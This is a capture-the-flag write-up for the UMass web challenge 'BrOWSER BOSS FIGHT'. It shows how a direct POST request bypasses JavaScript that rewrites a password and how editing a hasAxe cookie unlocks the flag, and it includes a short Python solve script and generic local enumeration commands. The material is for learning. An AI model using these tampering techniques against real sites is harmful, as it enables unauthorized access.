BrOWSER BOSS FIGHT
BrOWSER BOSS FIGHT
Platform: Umasscybersec | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2026-04-11 | Status: Solved Techniques: client_side_validation_bypass, cookie_tampering, direct_post_request
Summary
Task: a web challenge hid progression behind inline JavaScript and client-controlled cookies. Solution: bypass the browser-side key overwrite with a direct POST, then tamper with the hasAxe cookie to reach the flag page.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
umasscybersec| ID:20260411_umasscybersec_browser_boss_fight - Tags: javascript, client_side_validation, access_control, cookies, state_tampering
- Indicators: inline JavaScript rewrites the submitted secret before the request is sent, response headers leak a hidden password hint, access state is stored in client-controlled cookies such as hasAxe=false, page text contradicts the cookie value and suggests local state manipulation
- Source:
20260411_umasscybersec_browser_boss_fight.md
Foothold
Vulnerability / Misconfiguration
- Client_side_validation_bypass
- Cookie_tampering
- Direct_post_request
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- client_side_validation_bypass
- cookie_tampering
- direct_post_request
- Tags: javascript, client_side_validation, access_control, cookies, state_tampering
Original Writeup
<details><summary>Click to expand original content</summary>BrOWSER BOSS FIGHT — UMass Cybersecurity CTF
Description
Organizer description was not preserved in the local task files.
English summary: the landing page presented a password form, but browser JavaScript silently replaced any submitted value with a fake key. After bypassing that behavior with a direct request, the second stage relied on a client-controlled cookie for authorization, which could also be tampered with to obtain the flag.
Analysis
The first page at / contained a form posting to /password-attempt. Recon also showed inline JavaScript that overwrote whatever the user entered with WEAK_NON_KOOPA_KNOCK before submission, so solving the challenge from the browser alone would always send the wrong secret.
The response headers exposed an additional clue: King Koopa, if you forget the key, check under_the_doormat!. That strongly suggested the real key was under_the_doormat, and the JavaScript was only a client-side obstacle.
Sending a direct POST request to /password-attempt with key=under_the_doormat bypassed the JavaScript entirely and granted access to /bowsers_castle.html. That page then set multiple cookies, including hasAxe=false.
The castle page text explained that Bowser had removed the axe, which is exactly the sort of state that should never be trusted when it is stored in a client-controlled cookie. Re-requesting /bowsers_castle.html with hasAxe=true changed the server response and returned the flag page.
The core lesson is simple: never trust client-side JavaScript or client-controlled cookies for access control. Anything enforced only in the browser can be bypassed, and any state stored on the client can be modified.
Solution
- Request
/and inspect the HTML and headers. - Notice the form posts to
/password-attempt, but inline JavaScript rewrites the submitted key toWEAK_NON_KOOPA_KNOCK. - Read the response header hint and recover the real key:
under_the_doormat. - Send a direct POST request to
/password-attemptwithkey=under_the_doormat, bypassing the browser logic. - Save the returned session cookies and open
/bowsers_castle.html. - Observe the cookie
hasAxe=falseand the page text implying that possession of the axe controls progression. - Re-request
/bowsers_castle.htmlwithhasAxe=true. - Receive the flag page.
#!/usr/bin/env python3
import re
import requests
BASE = "http://browser-boss-fight.web.ctf.umasscybersec.org:48003"
SESSION = requests.Session()
home = SESSION.get(f"{BASE}/", timeout=10)
home.raise_for_status()
print("[+] Saw password form:", "/password-attempt" in home.text)
print("[+] Hint header:", home.headers.get("Hint") or home.headers.get("hint") or "not found")
stage1 = SESSION.post(
f"{BASE}/password-attempt",
data={"key": "under_the_doormat"},
timeout=10,
)
stage1.raise_for_status()
castle = SESSION.get(f"{BASE}/bowsers_castle.html", timeout=10)
castle.raise_for_status()
print("[+] Cookies after entry:", SESSION.cookies.get_dict())
SESSION.cookies.set("hasAxe", "true")
flag_page = SESSION.get(f"{BASE}/bowsers_castle.html", timeout=10)
flag_page.raise_for_status()
flag = re.search(r"UMASS\{[^}]+\}", flag_page.text)
print("[+] Flag:", flag.group(0) if flag else "not found")
</details>
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR